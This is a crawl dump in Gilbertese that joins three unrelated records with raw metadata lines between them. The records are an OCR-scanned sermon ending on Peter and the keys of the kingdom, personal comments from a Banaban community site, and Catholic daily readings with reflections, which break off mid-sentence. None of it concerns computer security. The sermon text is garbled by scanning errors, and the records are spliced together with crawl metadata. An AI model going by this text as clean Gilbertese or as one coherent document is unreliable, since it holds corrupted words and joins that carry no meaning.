^'kabara\" are kama-\nnenaki ikai. E a bain taeka lesu aika. a bati n tane.iai iai ana\nreirei, ba, a taueiai ni bainaki taeka aikai i bukin aia makuri tani\nkoroboki n te Tua n Ebera. Nanon te taeka \"kabaea' bon to ka-\ntabua te makuri teuana, ba e mi aki karaoaki ; ao mi non te ta eka\nUuibara bon te kariaia te bai teuana b.a e na karaoaki. E kona te\ntia koroboki n to Tua n Ebera. ni motiki taekani bain te aro n\nIutaia.. E kona ni katabua te bai teuana (ane te Urkhaea) ; ao e\nkona ni kariaia te bai teuana (ane te W\/t'm). Bon anno oin\nnanon tneka aika asar ao s\/iera n te taetae n Aramaic aika a\nbainaki iroun lesu nakoni Betero. Ma naia ae ti nora nanon ana\ntaeka lesu nakoni Betero ba e a ananaki te kona ni kaeti taekani\nbain Uean te Atua are kana bain te Ekaretia i aonaba. E aki\nananaki te kona ni. kabaea tamnein te aomata, ke te kona. ni kabara\ntamnein te. aomata, ba tiaki te aomata ke tamueina are e a ianoaki\nli taeka akanne, ma bon ti kaetan taiani katei aika riai ao aika a\naki riai.\nAo te kaeti taeka ni bain Uean te Atua, e aki ananaki Betero\nn ti naia. E boni koaua. ba e a moan ananaki Betero ba bukina\nboni naia are e a moa ni kakoaua lesu ba. te Kristo. Ala a bane\ntan tuatua n ananaki te liakoa anno are .kanikinaeana te kin, n ai\naron ae ti a tia n noria ni Alataio 18 : 18. Ao tiaki ti tan tuatua\nake a- airi ni bot.aki ma lesu nke E menu i non te aba, ma. ti taku\nba. bon nanon Iesu ao ana kantanina ba a na bane n ananaki te\nnakoa arei Kristian ake a kakoaua. lesu ba te Kristo ao a.ia Tia\nKamaiu, ao ake a kaota kakoauana i rnataia, aomata n ai aroni\nBetero. Ba. ti taku ba na.nou ana taeka lesu aikai nakoni Betero,\nao nanon ana. taeka, nakoia, tan tuatua rimwi bon aei, ba ake. a\nkaureaki mataia. iroun te Atua. n ata Iesu ma i.i.i kakoaua ba aia\nTia Kamaiu, ao a kaotaki nanoia iroun Tamnein te Atua n te aro\nae a kona ni motiki taeka. ni bain Uean te Atua, n te aro ae bo raoi\nma nanon te Atua. Ala naia. aei, inotin te Ekaretia ake a- baireia i\naonaba nkana a kairaki iai iroun Tamnein te Atua, ao a na katei-\nmatoaki i karawa., ba are a bo raoi ma. nanon te Atua.\nTi noria nkanne ba kiidn. Uean te Aina aika e ananaki Betero\nao aika a auanaki raona ake tan tuatua naba, bon te kona n reirei\n1C)\nbain Uean te Atua ao te kona ni kaotiota Iesu Kristo nakoia\naomata ba a na onimakinna ao a na rin i Rouna nako nanon Uean\nte Atua. Ao bain nakoaia teuana, te riki ba kana tani koroboki n\nUean te Atua, aika a riai ni kaeti bain Uean te Atua. Kana a-riai\nni kaeti taekani bain te Aro ni Kristian, n ai aron are e a karaoaki\nirouia Betero ma raona n te kabowi n te Ekaretia i Ierutarem. A\nriai ni bairei raoi bai aika a riai ni katabuaki ao bai aika a riai ni\nkariaiaki irouia kain Uean te Atua. A riai ni kaeti taekaia ba\nantai ae riai ni karinaki i nanon Uean te Atua i aonaba, ao an tai\nae riai ni kanakoaki ke n reireiaki i bukin te bure teuana. Ao a\nriai n i buobuoki n rineia. ake a riai n taua. te nakoa ni minita ke te\nnakoa n rikan, n ai aron are e a karaoaki irouia Betero ma raona.\nAo bai ni kabane aikai, ti taku ba tiaki ti ana bai Betero ni karaoia,\nma bon aia bai Kristian ake a katotona Betero ni kakoaua Iesu\nKristo ba aia Uea. Ao a na kairaki ma n reireiaki iroun Tamneini\nKristo ba a aona ni bo raoi aia moti ma nanon te Atua ba a aoiia\nni kateimatoaki i karawa.\nMa iiaia aei, aio kabanean ara taeka n reirei aei,\nNaira aika Kristian aika ti a katotona Betero ni\nkakoaua lesu ba te Kristo are Natin te Atua are maiu,\nao ti a ananaki te buokanibai ma Betero ao tan tuatua\nni kauka mataroan Uean te Atua nakoia aomata ma ni\nkaeti taekani bain Uean te Atua i aonaba: ao ti na kato-\ntona naba Betero n te kakaonimaki ao te tataniiiamarau\nni makuri n nakoara. Ti na nimta ara Uea are Iesu Kristo ;\nti na butia te Atua ba ti na kaonaki n te Tamnei are Raoiroi; ao ti\nna kaotiota. Iesu Kristo nakoia aomata ma te aki maku ao te aki\nmama. Ao n te aro arei ti na kakoaua tauani kinin Uean te Atua\ni roura, ba ti na kauka mataroan Uean te Atua nakoia raora ba a\nna ata lesu Kristo ba aia Tia Kamaiu, ma n rin i Rouna nakon te\nmaiu are aki toki are aia bai kain Uean te Atua.\nG. H. E.\nE A TIA NI B0RET1AKI N TE\nTAETAE NI KIRIBATI ft K AI TE\nBOK1 TEUANA AE E A BATI NI\nKAKANATO AO ARE E A WARE-\nKAKI I AONABA, AE ARANA,\nUflakin te tia mattana.\nKAREKEA AJVI BOKI ANNE\nMAIROUN TE TIA REIREI N\nAM KAWA.\nBona Is. 6d","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/digital.soas.ac.uk\/LOAA006061\/00001","date":"2022-05-20T05:17:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662531352.50\/warc\/CC-MAIN-20220520030533-20220520060533-00129.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":8856,"character_repetition_ratio":0.075,"word_repetition_ratio":0.018,"special_characters_ratio":0.252,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Mauri Cindy,\nAkea Irou te landowners list-1947 onwards ma koa tia n kata ana aobiti te Lands Department i Rabi? Itaku bwa akona ni buokiko ngkana ko kan ata mwin aia bwabwai tinam ma tibun, I don't think they can give all landowners listings but they might help you with what belongs to your family only. sorry I'm not much help but try Lands Tribunal Rabi.\nBula Cindy! yes iam still in Nadi but you know what.....No news from Rabi cos haven'tbeen there nearly 4 years now....Cindy how many times i saw you Nadi Town even at the airport but like no gut to intrduce and even to meet you(ashamed).I left my job at the airport and now with hotel industry so we'll catch up next time........Regards to the family and bye for now.........\ngaia kam maiu kee... gaira ikai akea te eclipse ae ti noria ba are e ragin agabuaka ara tapo aei n noran te eclipse....nways gai gkai kaga ia maga moanna naba ni kautapatapa ia maga gain 10kg i tuai man loose au weight aee shshhs....aogke e uara am walk? ao a uara kain te auti? koa karokoa naba au\nkamauri iroun kaka teabo tuanga ba ia missina hehehe...aogke eang ao nee teiaro e a reke ana gmail account ae e bou na add you to him ba kam aoga n reireitaki ma tibuana e online n te tairiki gkana e oki n reirei.....e taku ba e a missini gkami ao kaka teabo ao e tuatua ba na aga ana kamauri nakoimi gaia i a bon karaoa ana gmail account ba e aonga n rereitaki riki ma gkoe.......ao a uara ma anto ao nakabwere? a bon maruriung naba gkai kee aki? hahahha aogke a bae ni marurung kee?\nkaga i a maga ragin kabararia kee...tau nang nako moa ba enang maga start au next class....ao i a ragin kan masu ba are ai miin te kabakanako n tai n read hehehe i taua ma nanou n study ao e otinako miin te result ao bon te bai teuana.....ok enough i must go now....tia maga bon reireitaki imiina kee\nBula Cindy...you may wonder who is this? Well Cindy,You might hve the sickness of mamaninga but we'll never forget you gang. I'm your close neighbour and family in Tabwewa....Natin Kone ma Nei Temawa......When i was working at the airport (Nadi) i saw Nei Mama and Antorina disembarked from the Tarawa-nadi flight,wow they really big girls now.So hows aunty Teabo and them? Loloma to them and maye we'll reunite again........Tia boo moa.\nhellow aunty...danx4dropin in....hw u&de fam bak dea in kiribaz...trust all great...yeah!we all here&danx so muj we all fine as well....yeah dads parents&auncle Tom&fam now in 2rak....yeah!heard mama here as well...was at auncle matangs houz de day she arrived frm Tarawa...suppose to go to airport wit Teatao but yeah change of plans agan...wel be rily luking rily 4ward meeting her in Auckland.\nhws de family there&kaka Teabo?wel kisses®ds 2dem all k!\nmauri naba mai fejeee.... e raba te hit back ao ngaia e raba naba te tangira ngkai ia mang ongo ae bon marurung raoi au karo aikane. nee taraia bon akea riki ae botonaine riki nakon tinau ma koa bon karaua namom n anne.hehehehhe...sori aunty for spoilin u.... nway te cold greetings from the gang here at fulton and also from mah familiy to ur families there and not forgeting mah parents... miss them alot... over here ea toka te maitoro... tau e raba riki te tai aio ao ena tekeraoi ami waki ikanne.... tia boo moa ... tofaaa ao eiwati moa...\nmauri cindy, u may wonder antai aio, gai terenga, natin kabua ma tutake,mah parents are ther in am tabo ane kirbac.\ntau koa manga bon hit back ma e raba te tai aio nte reitaki nte site aio. reagrds to ur famz and tekeraoi te waki ikane.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=089uaxwxd08c4","date":"2022-09-27T20:08:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335058.80\/warc\/CC-MAIN-20220927194248-20220927224248-00293.warc.gz","language":"gil","language_score":0.6512324214,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.6512324213981628, \"pcm_Latn_score\": 0.09010208398103714, \"sps_Latn_score\": 0.029758205637335777, \"jam_Latn_score\": 0.022229665890336037, \"kea_Latn_score\": 0.020163709297776222, \"rop_Latn_score\": 0.014771368354558945, \"eng_Latn_score\": 0.01130824163556099}","num_words":639,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":0.68,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nWiiki 10 Kauabong\nWarekan te moani Boki ae taekaia Uea. 17: 7-16\nI muin tabeua te bong, ao e ora nanon te karanga, ba e aki babaka te karau i aon te aba, Ao e roko ana taeka te Atua iroun Eria ni kangai: \"Teirake, nako Tarebata n te aba ae Titon, ao ko na tiku iai. I a tia n tuanga temanna te aine ae e mate buna, are mena n te tabo arei, ba e na kaamarakeko.\" Ao e teirake Eria n nako Tarebata. Ngke e nangi roko ni mataroan te kawa, ao e tabe n riko aia temanna te aine ae e mate buna, ao e weteia Eria ni kangai: \"Uota mai teutana te ran n te kaatibu, ba N na moi.\" Ao e nang kawaria neierei, ma e a manga takaruaia Eria ni kangai: \"An rekenibaia naba te makarona te bwerena.\" Ao e taku neierei: \"I kaotia n aran te Uea ae maiu: bon akea au bwerena ae mai; bon ti te abutana te burawa i nanon te baketi ao teutana te ba i nanon te batoro. Ao ae I a tabe n anai uai te aia ba N na karaoi ba kanau ma natiu. Ti na amarake ao na karaoi ba kanau ma natiu. Ti na amarake ao ti na mate.\" Ma e taku Eria nakoina: \"Tai maku, nako, karaoa ane ko taku, ma karaoa moa te bwerena ae uarereke ba kanau, ao uotia nakoiu, ao rimui ko na karaoa kanam ma natim. \"E na tai bane te burawa n te baketi, e na tai tare te ba n te batoro ni karokoa ana bong te Atua ni kabaka te karau i aon te aba.\"\nAo e nako neierei n rinanoa ana taeka Eria, ao e amarake, ngaia ma natina. E aki babane te baketi ni burawa, ao e aki tatare te batoro ni ba, n ai aron ana taeka te Atua are e taekinna Eria.\nTe Taramo 4: 2-5, 7-8\nKaekana: Te Uea, kaota matam nakoira.\nNgkana I weteiko, ao kaekaai, Te Atua ae te tia kamaiua taekau.\nKo kabebeteai n rawawatau, Nanoangaai, ongo au tataro. K\nNgkami aomata, ningai tokin rawami? Ningai tokimi n tangira te akea\nMa ni barua te kewe? Uringnga: a kamimi aron te Uea\nNakon ane Makua: E ongo te Uea ngkana I weteiko. K\nA kangai aomata: \"Antai ae na karekea kabaira?\"\nTe Uea, kaota i aora raneaneani matam. K\nTe Uea, ko kabatia riki kabaian nanou, Nakoni kabaiaia nako aomata\nNgkana e ruo marin te uita ma te uain. K\nAlleluia, alleluia.\nKe e ota matam i aon am toro, Ao reireiai am tua. Alleluia\nWarekan ana Euangkerio Mataio 5: 13-16\nE kangai Iesu nakoia ana reirei: \"Taarin te aba ngkami. Ngkana e mauna taarin te taari, ao e na manga taarinaki n tera? Akea riki manena, ma e na tewenakoaki ma n toubekaki irouia aomata.\nOtan te aba ngkami. E aki kona ni karabaki te kawa ae tei i aon te maunga. E aki kauraki te taura ba e na karabaki i an te baketi; ma e katokaaki i aoni nnena, ao a bane n ota iai kain te auti. Ai aromi naba: ke e ota ami ota i mataia aomata, ke a nori ami makuri aika raraoi, ba a na neboa iai Tamami are i Karawa.\nTibatiba: Uringnga: a kamimi aron te Uea nakon ane makua\nBukin tibangara n te bong ao I anaa kibun te taramo aio ba ti na kananoa ibukn kanara mairoun te Uea n ana taeka. Eng tariu ao maneu bon aio te kibu n taeka ae moan te tamaroa ibukira. Te moani bai ae kakawaki man te toa ae Bentekota bon kawakinan karekean taian karea aika bati n te tai aio man bainakin te maku ao te onimaki inanon maiura. Ba ngkana ti maaka te Uea ao nanona ngkanane ba ti riai ni karinea te Uea ni kakaraoa Nanona ao n onimakinna. N te moani wareboki ao ti ogora taekan Eria ngke e tuangaki ba e na nako Tarebata ike e na reireinaki iai te kona n onimakina ana kakaonimaki te Atua n tararuaira ao n onimakina te Uea ba bon ti te Atua ae tauraoi n n tarauraira ao ni katauraoi bai nako ba ti aonga n teimatoa n onimakina kamaiu te Atua. Eng n akea te bai ae ti kona ni karaoia ao inanon taian kanganga ae ti taonaki iai ao ti na teimatoa n onamkina te Atua ba e tarauaira ao ni kakawakinira n tai nako.\nInanon te rongo ma te kabuebuae ae taona Taraebata ao Eria e onimaki ba e na kamaiua te Uea man makaan aia onimaki ao onikinan ana nanoanga ma ana tangira te Atua.E teimatoa n onimaki Eria ba e na kamarakeaki irouia maan reben ao iroun te unaine are e a tia ni mate buna ao e na teimatoa n aki tare te baketi ni burawa ao te baa n oera n te batoro ibukina ba bon te Uea na tararuaia\nTi na butia te Atua ba E na karaoi taian kakai inanon maiura ao ti na katuka ara onimaki iroun te Atua ba e na kangaraoi bai nako ao ti na tauraoi ni butimai bain eta ba ti aonga ni karekea te kaniwanga ae te maiu ae akea tokina ao ti na kaki bain aonteaba.\n- Details\n- Written by Uriam Timiti\n-\nWiiki 10 Moanibong\nWarekan te moa ni Boki ae taekaia Uea. 17: 1-6\nE taetae Eria, ae te burabeti mai Titibe i Kireata, ao e kangai nakon te uea ae Akaba:\n\"I kaotia n aran te Uea ae Atuaia Ieteraera, ae I tei i matana: e na aki aoi ma ni karau n ririki aikai, ni karokoa N na taetae.\"\nE roko iroun Eria ana taeka te Atua ae kangai: \"Kitana ikai, nako, waerake ao karabako i rarikin te karanga ae Kerita i mainikuni Ioretan. Ko na momoi man te karanga, ao I a tia tuangia reeben ba a na karekea kanam.\" E ira nanon ana taeka te Atua Eria, ao e nako ni maeka i rarikin te karanga ae Kerita i mainikuni Ioretan. Ko na momoi man te karanga, ao I a tia tuangia reeben ba a na karekea kanam.\" E ira nanon ana taeka te Atua Eria, ao e nako ni maeka irarikin te karanga ae Kerita i mainikuni Ioretan. A uouoti kanana reeben, ba te bwerena n te ingabong, ao te iriko n te tairiki; ao e momoi man te karanga.\nTe Taramo 120: 1-8\nKaekana: E buokira te Uea are karika karawa ma aonaba.\nI tabeki matau nakoni maunga: e na reke buokau mai ia?\nE reke buokau mairoun te Uea, are karika karawa ma aonaba. K\nKe E tai kataua tibanakoni waem, Ke E tai matu te tia kawakiniko.\nE bon aki matu ma ni wene, Te tia kawakinia Iteraera. K\nBon te Uea buokam ma katanam, E tei i angataim.\nE aki taoniko taai n te ngaina, Ke namakaina ni bong. K\nE na kawakiniko te Uea man te buakaka, E na kawakina tamneim.\nE na kawakina nakom ma okim, Ma ngkai n aki toki.\nAlleluia, alleluia.\nAm taeka, te Uea, bon te koaua: Katabuira i nanon te koaua. Alleluia\nWarekan ana Euangkerio Mataio 5: 1-12\nE noria botanaomata Iesu, ao E ararakea te maunga. E tekateka, ao a roko ana reirei irouna. Ao E tabeka ana taeka n reirei nakoia, ni kangai:\nA kabaia akana aki nanona te kaubai, ba aia bai te Abanuea ae karawa.\nA kabaia akana nimamannei, ba a na abana te aba.\nA kabaia akana a rawawata nanoia, ba a na kabebeteaki.\nA kabaia akana barua te raoiroi, ba a na rauaki.\nA kabaia akana a nanoanga, ba a na nanoangaaki.\nA kabaia akana a itiaki nanoia, ba a na nora te Atua.\nA kabaia tan raoi, ba a na atongaki ba natin te Atua.\nA kabaia akana bainikirinaki i bukin te raoiroi, ba aia bai te Abanuea ae karawa.\nKam a kabaia ngkana kam taetaebuakaki, ma ni bainikirinaki, ma ni uabuakakaki i bukiu: kam na kakatonga ma ni kimareirei, ba e ababaki kaniwangami i karawa.\nTibatiba: E buokira te Uea are karika karawa ma aonaba\nMauri tariu ao maneu inanon ara toa ae kakawaki are bon Ruon te Tamnei ae Raoiroi inanon te Bentekota. Ao e aera ngkai e kakawaki te toa aio ibukira ngaira tan onimaki? Tera te karea ae kakawaki ae ti anganaki ke ti karekea inanon te toa aio ao tera nanona ibukira inanon maiura ma ara kekeiaki ni Kiritian ao te kaniwanga ae E katauraoia te Uea n tokin maiura aio?\nTariu ao maneu inanon te toa ae Bentekota ao ti anganaki iai te berita n akoi ae moan te kakawaki ;\" Ba E kangai Iesu nakoira;\" Ao noria , I angani ngkami au berita n akoi ba N na mena irarikimi ni karokoa tokin aonnaba. Inanon waeraken Iesu nako Karawa ao ti bane n anganaki te kantaninga ae moan te te tamaroa ba ngaira ni bane ba n te aro ti nora iai Iesu ni waerake nako karawa ao ti na bon noria naba ba E na roko ni butimaira nakon mwengara ni koaua are a tia ni katauraoia i bukira i Karawa. Inanon te tai ni bakate are moa man mangautin Iesu ao e toki n te toa ae Bentekota ao E a manga kamatoa Iesu nakoira ba ti bon n roko n tokin kawaira ngkana ti teimatoa ni karaoa Nanon Iesu n nako tokin aonnaba ao ni babetitoia aomata nako n aran te Tama, te Nati ao te Tamnei ae Roiroi. Ma inanon ara borau n te maiu aio ao ti na bane n tauraoi ni butimaea Iesu are E kaoti ngkoa nakoira ao ni kanagai; \"Te Raoi nakoimi.\" Ao muina e ukira Iesu ao E a manga kangai;\" Butimaea te Tamnei ae Raoiroi are boni Ngaia te Tia Ibuobuoki are na anganira te korakora n reitanako kabouan bitakin taran aonnaba. Aei bon te Tamnei ibukin te aonnaba aio ba E na onrake n raneanean mimitongin te Atua ao ti na nora Ierutarem ae bou are karuoaki mai Karawa are bon tin a nora iai tamnein te kaniwanga ae ti na karekea ba muin ara kekeiaki inanon maiura aei ni kabuta nakoia tarira ma manera te Maiu ae Onraken te Maiu ae ti anganaki n tain te Bentekota.\nE na bon reke te Maiu aio ngkana E inaomata raoi iroura ao inanora Tamnei te Atua ae te Teiniman Temanna ae moan te Tabu man Mimitong. Ti na kauki nanora nakon ana reirei Iesu ana Taeka ni Kakabaia Iesu are ti anganaki n te bong aio aika a na riai n riki ba kairan maiura ba ti aonga ni karekea te Maiu ae akea tokina i Karawa.\n- Details\n- Written by Uriam Timiti\n-\nBakate. Wiki 7. Kaabong\nWarekan aia Makuri Abotoro. 22:30, 23:6-11\nN te bong are imuini kabaeani Bauro, ao e kan ataia mataniwin te tanga ba tera oini bukinana irouia I Iutaia. Ma ngaia are e kabara, ao e tuangia mataniwia berebitero ma teTanirim ni kabanea ba a na botaki. Ao e kaira Bauro ni kateia I mataia.\nE ataia Bauro ba te korakina bon Tatukaio ao te korakina Baritaio. Ma ngaia ae e kanenea banana i matan te Tanirim, ao e kangai: \"Tari, bon te Baritaio ngai ao natia Baritaio. Ao e kabowiaki taekau ngkai i bukin ara kantaninga ae mangautia mate.\" Ngke e a tiba atonga te taeka anne, ao e bwenauaki iai te botaki. Ba a taku Tatukaio ba akea te mangauti ao akea te anera ao akea naba te tamnei, ao a taku Baritaio ba iai baikanne. Ma ngaia are e bati te karongoa. A teirake tani koroboki tabeman ake Baritaio, ao a kakorakorai banaia ni kangai: \"Bon akea buakakan te aomata aei ae ti noria. Ao ngkana tao e taetae te tamnei ke te anera nakoina?\" Ao e rikirake te kauntaeka. E maku mataniwin te tanga ba tao e nangi mate Bauro irouia, ao e karokoia tautia ba a na raweia mai buakoia ma ni kaokia nakon te nono.\nNgke e a bong, ao E roko te Uea ni kawaria, ao E taku nakoina: \"Keiaki, ko a tia ni kakoaua taekau i Ierutarem; ko riai naba ni kakoaua taekau i Roma.\"\nTe Taramo. 16: 1-2, 5,7-11\nKaekana: Kawakinai te Atua, ba I onimakiniko\nKawakinai te Atua, katanau ngkoe, I kangai nakon te Uea: \"Atuau Ngkoe.\nTe Uea, Ngkoe tibangau ma au mangko, Boni Ngkoe ae ko kawakina tibau.\" K\nI karaoiroa te Uea ae buoka au iango, ao e reireiai oin nanou ni bong;\nI taua te Uea i matau n tai nako: Ngkai E tei i angataiu, ao I aki baka. K\nE kukurei nanou, e kimareirei tamneiu, e rau rabatau n aki maku.\nBa ko aki katuka tamneiu I Tiore, Ko na aki kataua raom n nora te maka. K\nKo na reireiai kawain te maiu; Ane i matam te kabaia ae kororaoi,\nao i angataim te kimareirei, ae akea tokina. K\nAlleluia, alleluia\nN na kanakoa Tamnein te koaua nakoimi: E na kairingkami nakon te koaua ae banin. Alleluia.\nTe Euangkerio\nWareken ana Euangkerio Ioane 17: 20-26\nE tararake Iesu nako karawa, ao E taku: \"Tamau I tataro, tiaki ti ibukia aikai, ma i bukia naba akana kakoauaai n aia taeka. Ke a bane n riki n ti teuana. N ai aron ae ko mena I nanou ao ngai I nanom, ao ke a riki n ti teuana naba i nanora, ba e aonga ni kakoauako aonteaba ba ko kanakoai. I angania te neboaki are ko anganai, ba a na riki n ti teuana n ai arora ngkai ti teuana: Ngai i nanoia, ao ngkoe I nanou, ba a na riki n ti teuana ni koaua, ao e na ataiko aonteaba ba ko kanakoai, ao I tangiriia n ai arom ae ko tangirai. Tamau, I tangiriia n ai arom ae ko tangirai. Tamau, I tangiriia akana ko anganai ba a na raonai ike I mena iai, ba a na aki toki n nora te neboaki are ko anganai, ba ko tangirai i maini karikan aonaba. Tamau ae ko eti, e aki ataiko aonteaba, ma I ataiko Ngai, ao a ataiko aikai ba Ko kanakoai. I kaota aram nakoia, ao N na kaotia nakoia, ba e aonga n reke irouia te tangira are ko tangirai iai, ao I aonga ni mena i nanoia.\nTibatiba: E katiteuanaira onimakinan Iesu Kristo\nTariu ao maneu te bai ae katiteeuanaira inanon maiura aioa bon ana oni maki ae ti teuana ba Iesu bon Natin te Atuaae kanakoaki mairun te Tama ba e na kamaiura. Inanon ara tai ni katauraoi imain te Bnetekota are bon ruon te Taamnei iaora ao te bai ae kakawaaki ae ti riai n taua bon te reitaki n te nano ae ti katiteuanaki ngaira ma Iesu ao ngaira ma tarira ao manera ni kabane.\nTe bai ae na katiteuanaira bon Tamnein te Atua ae mamaeka inanora; ae bon te Tamnei ae Raoiroi. Bon kororaoin te tangira imarenan te Tama ao te Nati ae ti anganaki iai kororaoin bai ni kabane iroun te Tamnei ae Raoiroi. Ao bon inanon te Tamnei ae Raoiroi ae ti anganaki iai te korakora, te maaka ao te maiu ae Onraken te Maiu ba ibukina ba ti kairaki iroun te Tamnei ae Raoiroi. Ao ti kona ni karaoi bai ni kabane man korakoran ao maakan ana karea te Tamnei ae Raoiroi are ti riki iai ni kabane ba Natin te Atua aika tauraoi ni kammakuri ana karea te Tamnei ae Raoiroi n ringi ao man oniki maiuia tarira ma manera ba a na kabouaki ni makan te Tamnei ae Raoiroi.\nTi na butia te Atua ae Tamara ba E na katauraoira ni butimaea te Tamnei ae Raoiroi inanon te Bentekota ae nang roko ao ti na onikaki ba karikibai aika bou ni makan ana karea ate Tamnei ae Raoiroi ao mti riki ba tan bita aron taran aonteaba. Ti bane n rairi nanora man onimakina te Atua ae ti Temanna ae moan te Tabu ae te Atua te Tama, te Atua te Nati ao te Atua te Tamnei ae Raoiroi.\n- Details\n- Written by Uriam Timiti\n-\nBakate. Wiki 7. Kanimabong\nWarekan aia Makuri Abotoro. 25:13-21\nE roko I kaitareia te uea ae Akeriba ma neiere Berenike, ao a nako ni kamaura Betito, Ngke a maan n tiku, ao e taekina Bauro Betito nakon te uea, ao e kangai: \"Iai ikai temanna te aomata ae katukaki ni kabaeaki irouni Berika. Ngke I mena i Ierutarem, ao a tangitang i bukina mataniwa berebitero ma aia unimane I Iutaia, ao a bubuti ba e na kabureaki. Ao I tuangia ba a aki tataneiai i Roma ni kaburea te aomata ngkana e tuai ni kabowiaki i mataia tani bukinna ma n anganaki ana tai ni kaeka bukinana. Ma ngaia are a roko ikai, n aki baenikai, n te bong naba are i muina. I tekateka n te bao ni motikitaeka, ao I tua ba e na kairaki te aomata arei nakoiu. Ngke a kaitara ma ngaia tani bukibuki, ao a aki kaota te bai teuana n taekan ana bure, n ai aron are I taku ba a na kaotia. Ma bon ti taiani kauntaeka i marenaia n taekan aia Aro ao n taekan te aomata temanna ae Iesu, ae e a tia ni mate, ao are e taku Bauro ba E a maiu. E bon aki reke au iango ngai n te aeka n rongorongo arei, ao I titirakinna ba e kan nako Ierutarem ke e aki, ba e na motikaki taekana iai n te rongorongo anne. Ma a e katea ana bubuti Bauro ba e na kawakinaki taekana i main ana moti te embera ae kakanato. Ai ngaia are I tua ba e na kawakinaki ni karokoa ae N na kanakoa nakoni Kaitara.'\nTe Taramo. 103: 1-2, 11-12, 19-20\nKaekana: E tekateka te Uea i karawa.\nTamneiu, neboa te Uea; Nanou ni bane, neboa arana ae tabu.\nTamneiu, neboa te Uea, Tai manuoka ana karea teuana. K\nAron rietatan karawa ietan aonaba, Ao ai aroni korakoran ana tangira nakon ane makua.\nAron raroani mainiku ma maeao, Ao ai aroni kararoan ara bure irouna. K\nE katea kaintokana te Uea i Karawa, E uea i aonaba ni kabuta.\nKaraoiroa te Uea, ngkami ana anera, Aika kam maka ma ni korakora\nNi ira nanon ana taeka. K\nAlleluia, alleluia\nI nako mairoun te Tama nako aon te aba, Ao ngkai, I kitana aon te aba n okira te Tama. Alleluia\nTe Euangkerio\nWareken ana Euangkerio Ioane 21: 15-19\nI muin te amarake, ao E kangai Iesu nakon Timon Betero: \"Timon ae natini Ioane, ko tangirai riki nakoia uakai?\" E kaeka ni kangai: \"Te Uea, ko ataai ba I tangiriko.\" E kangai Iesu nakoina: \"Kaamarakeia au tibu ataei.\" Ao E manga titirakinna Iesu ni kangai: \"Timon ae natini Ioane, ko tangirai?' E kaeka Betero ni kangai: \"Te Uea, ko ataai ba I tangiriko. \"Ao E taku Iesu nakoina: \"Kaamarakeia au tibu.\" Ao E titirakinna Iesu n te katenua n tai ni kangai: \"Timon ae natini Ioane, ko tangirai?\" E rawawata nanoni Betero, ngke E katenua ana titiraki Iesu ba e tangiria ke e aki, ao e kangai nakoina: \"Te Uea, ko atai bai ni kabane, ko bon ataai ba I tangiriko.\" E taku Iesu nakoina: \"Kaamarakeia au tibu. I bon tuangko ae koaua: ngke te tei ngkoe, ao ko boni kabaea nukam, ao ko nako ike ko kan nako iai; ma ngkana ko a kara, ao ko na takini baim, ao e na kabaea nukam temanna, ao e na kairiko nako ike ko aki kan nako iai.\" E taekina anne ni kaota aroni mateni Betero are e na neboa te Atua iai. I muin anne, ao E kangai nakoina: \"Ko na irai.\"\nTibatiba: Timon ae natina Ioane, ko tangirai?\nE koaua are ti a bon ngae n ongongo te karaki aio ao tao ti a bon ata raoi nanona. Ma I takungai ba e na bon kaokoro nanona ngkana ti iangoia ba E a bon roko Iesu iroura n te bong aio ao E takaruaea arara man titirakinira ba ti tangiria ke ti aki. Eng ngkana e riki aio nakoira ao tao ti na bon katotonga aroni Betero ni kaekaka Iesu n aki rangi n iangoa ara kaeka nakon ana titiraki Iesu ma n te kateniua n tai ao e na bon rawawata nanora ba e aera ngkai E a kaokioka ana titiraki Iesu. Ma E kan kauturuturua ikai Iesu ba arora n tangira Iesu bon tiaki te bai ae na nako man atura ma e na bon riai n nako ma inanora ni koaua.\nIrarikin anne ao ao E bon tangiria Iesu ba ti na tangiria n aron are E a tia n tangirira iai. Ma ana tangira Iesu ibukira bon te bai ae kababanea nakoira. E kororaoi ana tangira te Atua ibukira n tai nako. Ma iai te bai riki teuana ba tera arora ni kaota ara tangira nakoina. E tuangira Iesu ba ngkana ti tangria ni koaua ao ti riai ni kaotia n ara makuri ni kammarakeia tibu ataei ao tibu ni kabane. N ai aron te tia kawakin tibu ao ti riai n tauraoi ni kaburei maiura ibukia ake ti muikoaki ba ti na kawakinia. Eng tibu bon maan aika a kainnanoa n tai nako kawakinaia raoi man taian kabuanibai ao mairouia tan kamarua. Ma te bai riki teuana ae ti riai ni kakoaua ba ngkai boni ngaira rabata aika maamra ao ti riai ni kattotonga Betero n ara kaeka ae kangai;\"Te Uea Ko atai bai ni kabne , Ko ataia ba I tangiriko.\" Ngkai ti bon mamara ao ti muiokoi arora ni kabane inanon bain Iesu ba e na kawakinira ao ni buokira ba ti na teimatoa n tangiria.\n- Details\n- Written by Uriam Timiti\n-\nBakate. Wiki 7. Katenibong\nWareken aia Makuri Abotoro 20:28-38\nE kangai Bauro nakoia unimane ake a roko man te Ekareita are I Ebeto:\n\"Kawakiningkami ao kawakina te nanai ae E muiokoingkami te Tamnei ae Raoiroi ba kam na tararuaia ma ni kaamarakea, ba ana Ekaretia te Atua ae E karekea, ni kaboa n oin rarana. I ataia ngai, ba ngkana I a nako, ao a na raneanea i buakomi kameaanti aika kakamaku, aika na aki karaua te nanai, ao a na teirake naba mai buakomi aomata aika na kabaouai aia taeka ba a na katikiia reirei n rimuia. Ma ngaia ae tataraingkami, a uringnga ba tenua au ririki ni kaetietingkami ma te tang, ngkami nako, ni ngaina ao ni bong. Ao ngkai, I muiokoingkami iroun te Atua, ma ana taeka n akoi ae kona 